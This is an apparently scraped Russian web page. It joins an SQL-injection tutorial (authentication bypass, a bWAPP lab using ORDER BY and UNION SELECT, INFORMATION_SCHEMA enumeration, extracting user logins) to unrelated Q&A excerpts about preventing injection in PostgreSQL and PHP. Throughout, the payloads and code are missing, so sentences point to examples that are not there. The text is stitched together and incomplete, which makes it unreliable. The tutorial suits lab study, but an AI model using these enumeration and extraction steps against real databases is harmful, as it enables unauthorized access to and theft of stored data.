    SQL-инъекция – это опасная уязвимость, которая возникает из-за недостаточной фильтрации вводимых пользователем данных, что позволяет модифицировать запросы к базам данных. Результатом эксплуатации SQL-инъекции является получение доступа к данным, к которым в обычных условиях у пользователя не было бы доступа.

    Обычно SQLi находят в веб-приложениях. Но на самом деле, SQL-инъекции могут быть подвержены любые программы, использующие разные базы данных (не только MySQL/MariaDB).

    В качестве примера, рассмотрим приложение, которое обращается к базе данных со следующим запросом:

    Запрос похож на естественный язык (английский), и его значение довольно просто интерпретировать:

    Выбрать (SELECT) поля `name`, `status`, `books` из (FROM) таблицы `members` где (WHERE) значение поля name равно величине Demo (name = ‘Demo’) и (AND) значение поля password равно величине 111 (password =’111′).

    Этот запрос вызывает обход таблицы, в результате которого делается сравнение с каждой строкой, и если условие name = ‘Demo’ AND password =’111′ является для какой-либо строки истиной, то она попадает в результаты. В данном случае, результаты будут только если и введённое имя пользователя, и пароль в точности совпадают с теми, которые хранятся в таблице.

    При этом значения «Demo» и «111» приложение получает от пользователя – например, в форме входа на сайт.

    Предположим, что вместо Demo пользователь ввёл такую строку:

    Тогда запрос к базе данных будет иметь вид:

    Две чёрточки () – означают комментарий до конца строки, т.е. всё, что за ними, больше не учитывается. Следовательно, из выражения условия «исчезает» часть ‘ AND password =’111’

    Поскольку в комментарии осталась закрывающая кавычка, то она также была введена с именем пользователя, чтобы не сломать синтаксис и не вызвать ошибку, в результате, фактически, к базе данных делался следующий запрос:

    В нём была нарушена логика работы программы, заложенная разработчиками. Т.е. теперь поиск в таблице производится только по имени. И если имя совпало, то строка попадает в результаты независимо от введённого пароля. Это и есть пример эксплуатации SQL-инъекции. В реальной ситуации, такая ошибка может быть использована на веб-сайте для входа под учётной записью администратора, для которой достаточно знать только имя, а пароль становится ненужным.

    Кроме обхода аутентификации, SQL-инъекция используется для извлечения информации из баз данных, вызова отказа в обслуживании (DoS), эксплуатацию других уязвимостей (вроде XSS) и т.п.

    Эксплуатации SQL-инъекции

    Каждый раз с любым приложением, где бы не эксплуатировалась SQL-инъекция, используются следующие три базовых правила внедрения:

    • Балансировка
    • Внедрение
    • Комментирование

    Балансировка заключается в том, что количество открывающих и закрывающих кавычек и скобок должно быть одинаковым, чтобы не вызвать ошибку синтаксиса. При исследовании ошибки нужно определить, используются, и если используются, то какие кавычки и скобки.

    Внедрение заключается в дополнении запроса в зависимости от информации, которую мы хотим получить.

    Комментирование позволяет отсечь заключительную часть запроса, чтобы она не нарушала синтаксис.

    Комментарии в MySQL начинаются с символов:

    можно было бы ввести

    Обратите внимание, что после двойной черты обязательно нужен пробел, а после # пробел необязателен.

    Можно продолжить менять логику запроса, если в качестве имени пользователя вставить:

    то получится запрос

    Уберём закомментированную часть:

    Мы используем логическое ИЛИ (OR). Логическое ИЛИ возвращает true (истину) если хотя бы одно из выражений является истиной. В данном случае второе выражение 1 всегда является истинной. Следовательно, в результаты попадут вообще все записи таблицы. В реальном веб-приложении можно достичь результата, когда будут выведены данные всех пользователей, несмотря на то, что атакующий не знал ни их логины, ни пароли.

    В нашем примере после введённого значения Demo мы ставили одинарную кавычку (‘), чтобы запрос оставался правильным с точки зрения синтаксиса. Запрос может быть написан по-разному, например, все следующие формы возвращают одинаковый результат.

    Для запросов с цифрой:

    Для запросов со строкой:

    В зависимости от того, как составлен запрос, нужно использовать соответствующие символы парные закрывающие символы, чтобы не происходило нарушения синтаксиса. Например, если бы запрос был записан так (в нём вместо одинарных кавычек, используются двойные):

    то имя пользователя

    не возымело бы действия и не вызвало бы ошибку. Для обозначения конца введённого имени нужно использовать закрывающую двойную кавычку, т.е.:

    Для такого запроса (используются одинарные кавычки и круглые скобки):

    нужно также закрывать круглые скобки, т.е. для эксплуатации SQL-инъекции нужно ввести что-то вроде

    Главными признаками наличия SQL-инъекции является вывод ошибки или отсутствие вывода при вводе одинарной или двойной кавычки. Эти символы могут вызвать ошибку и в самом приложении, поэтому чтобы быть уверенным, что вы имеете дело именно с SQL-инъекцией, а не с другой ошибкой, нужно изучить выводимое сообщение.

    Далее перечень СУБД и вариантов выводимых ими ошибок:

    Стиль ошибок MySQL:

    Ошибка в MSSQL ASPX:

    Ошибка в MSAccess (Apache PHP):

    Ошибка в MSAccesss (IIS ASP):

    Ошибка в Oracle:

    Ошибка в PostgreSQL:

    Ошибка в MS SQL Server:

    Информация об СУБД также используется определения, какие символы или последовательности символов можно использовать в качестве комментариев.

    Практический пример простой SQL-инъекции

    Для тренировки я буду использовать bWAPP (по ссылке описание и процесс установки).

    Выбираем баг «SQL Injection (GET/Search)»/

    От нас ожидается ввод названия фильма, введём в поиск «Iron Man»:

    Далее выполним ряд тестов.

    Это говорит о том, что одинарные кавычки не фильтруются и что для обрамления введённых строк не используются двойные кавычки.

    Т.е. ничего не найдено, это говорит о том, что двойные кавычки также не фильтруются (иначе был бы найден фильм по запросу Iron Man). Также это говорит о том, что для обрамления введённых строк используются одинарные кавычки.

    Исходя из полученной информации, формируем строку для вывода всех записей таблицы:

    Определение количества столбцов таблицы с помощью ORDER BY

    Для создания более сложных команд инъекции нужно знать, сколько в таблице столбцов.

    ORDER BY задаёт сортировку полученных из таблицы данных. Можно задавать сортировку по имени столбца, а можно по его номеру. Причём, если столбца с таким номером нет, то будет показана ошибка.

    Последовательно пробуем следующие строки (AND 0 используется для подавления лишнего вывода):

    получен следующий результат:

    Это означает, что восьмой столбец отсутствует в таблице, т.е. в таблице всего семь столбцов.

    Другой способ нахождения количества столбцов – с помощью того же UNION. Лесенкой прибавляем количество столбцов:

    Все они будут вызывать одну и туже ошибку:

    Делайте так пока не исчезнет сообщение об ошибке.

    Объединение запросов с UNION SELECT

    UNION позволяет объединять результаты в один от нескольких выражений SELECT.

    Конструируем наш запрос с UNION:

    Как я сказал, количество полей должно быть в обоих SELECT одинаковое, а вот что в этих полях — не очень важно. Можно, например, прописать просто цифры — и именно они и будут выведены. Можно прописать NULL – тогда вместо поля ничего не будет выведено.

    Обратите внимание, что содержимое некоторых полей UNION SELECT 2,3,4,5 выводится на экран. Вместо цифр можно задать функции.

    Что писать в SELECT

    Есть некоторые функции и переменные, которые можно писать непосредственно в UNION:

    Переменная / Функция Вывод
    @@hostname Текущее имя хоста
    @@tmpdir Директория для временных файлов
    @@datadir Директория с базами данных
    @@version Версия БД
    @@basedir Базовая директория
    user() Текущий пользователь
    database() Текущая база данных
    version() Версия
    schema() Текущая база данных
    UUID() Ключ системного UUID
    current_user() Текущий пользователь
    current_user Текущий пользователь
    system_user() Текущий системный пользователь
    session_user() Сессионный пользователь
    @@GLOBAL.have_symlink Проверка, включены или отключены симлинки
    @@GLOBAL.have_ssl Проверка, имеется SSL или нет

    Ввод для получения имени базы данных:

    База данных INFORMATION_SCHEMA

    В списке баз данных MySQL / MariaDB всегда присутствует INFORMATION_SCHEMA. Это служебная БД, которая обеспечивает доступ к метаданным баз данных, информации о сервере MySQL. Проще говоря, она содержит информацию о всех других базах данных, которые поддерживает MySQL / MariaDB сервер. Эта информация включает имена баз данных и таблиц.

    Например, следующий запрос выведет имена всех баз данных, присутствующих на сервере:

    • SELECT и FROM – уже знакомые элементы языка запросов к базам данных;
    • SCHEMA_NAME – имя запрашиваемого столбца;
    • INFORMATION_SCHEMA – имя базы данных, к которой делается запрос;
    • SCHEMATA – имя таблицы, в которой ищется запрашиваемый столбец.

    Получение списка всех баз данных на сервере через SQL-инъекцию

    Используя UNION, мы можем сделать запрос к базе данных INFORMATION_SCHEMA. Например, чтобы вывести содержимое поля SCHEMA_NAME (имена присутствующих баз данных на сервере), можно сделать примерно следующий ввод:

    Иногда скрипт веб-приложения, подверженный SQL-инъекции, выводит только по одной записи. В нашем примере это не так, но если бы, например, ввод

    выводил только по одной записи, то для того, чтобы посмотреть все таблицы, можно было бы использовать LIMIT. Например, для первой строки:

    Для второй строки:

    Для третьей строки:

    Для четвёртой строки:

    Можно задействовать более сложный синтаксис с использованием WHERE и функций. Например, следующий ввод приведёт к показу имён таблиц текущей базы данных:

    Получив имена таблиц баз данных, можно продолжить далее и получить имена столбцов:

    Где вместо tablenamehere нужно подставлять имя таблицы.

    Например, нами получены следующий имена присутствующих в базе данных таблиц:

    Тогда для получения имён столбцов в таблице blog нужно сформировать запрос

    Применительно к нашей уязвимости получаем ввод:

    Здесь также можно применять LIMIT.

    Извлечение данных из таблицы с помощью SQL-инъекции

    Теперь, когда мы знаем имя базы данных, имя таблицы и имя поля, мы можем извлечь данные из произвольной колонки. Например, ввод:

    Например, следующий ввод для нашей уязвимости означает извлечь содержимое колонки login из таблицы users из текущей БД:

    Заключение по первой части

    В первой части были рассмотрены азы SQL-инъекции. В последующих частях будут рассмотрены различные виды SQLi и примеры эксплуатации в различных условиях. Если у вас возникли затруднения с пониманием этого материала, то рекомендуется начать с изучением языка запросов к базе данных. Если вопросы остались, то пишите их в комментариях.

    postgresql — предотвращение SQL-инъекций в этом PHP-коде

    У меня есть следующая функция, которая пишет в базу данных PostgreSQL. Мне нужно обезопасить себя от внедрения SQL, однако я не уверен, как это сделать.

    Часть запроса, собранная из pg_query_params безопасен от внедрения (или мне так сказали), однако другая часть собранного запроса через конкатенацию строк PHP . очевидно уязвим для инъекций.

    Редактировать:

    Я использую PostgreSQL и пытаюсь найти что-то совместимое с pg_query_params

    Решение

    Вы можете попросить базу данных защитить имена таблиц и столбцов, используя quote_ > , прежде чем создать запрос, который вы хотите выполнить. Вам нужно что-то вроде этого:

    PostgreSQL Доллар-Котировки констант для предотвращения SQL-инъекций — sql-injection

    Можно ли безопасно предотвратить SQL-инъекцию, используя константы String PostgreSQL, выраженные в долларах?

    Я знаю, что лучше всего было обрабатывать динамические запросы, чтобы они были сгенерированы на прикладном уровне с параметризованным запросом, о котором не идет речь. Вся бизнес-логика находится в хранимых процедурах.

    У меня есть хранимая процедура, которая принимает параметры и генерирует запрос, запускает его, форматирует результаты и возвращает его как кусок текста. Эта функция передается именам таблиц, именам столбцов и параметрам WHERE. Параметры WHERE, переданные функции, — это данные, введенные пользователем в базе данных. Я хотел бы убедиться, что укусы очищены, поэтому построенный запрос безопасен.

    Используя PostgreSQLs Долларовые константы строковых констант, я должен быть в состоянии безопасно дезинфицировать весь ввод строки, кроме «$$». Тем не менее, если я делаю замену строки на «$», чтобы избежать ее, я должен иметь возможность провести безопасное сравнение строк.

    Так как я избегаю поля col1, прежде чем сравнивать его с экранированными пользовательскими данными, даже если пользователь вводит данные «un/safeuser $$»; в поле alt_string_col знак двойного доллара не прерывает запрос, и сравнение проходит.

    Это безопасный способ избежать строк в хранимой процедуре PostgreSQL?

    Edit1

    Благодаря Эрвину Брандстретеру. Используя предложение USING для EXECUTE , я собирался создать функцию, которая может быть вызвана следующим образом:

    Это дает некоторую гибкость предложениям WHERE, которые могут быть переданы.

    Внутри хранимой процедуры у меня есть что-то подобное для оператора EXECUTE .

    Мастер Йода рекомендует:  Как превратить комментарии в искусство
  • Добавить комментарий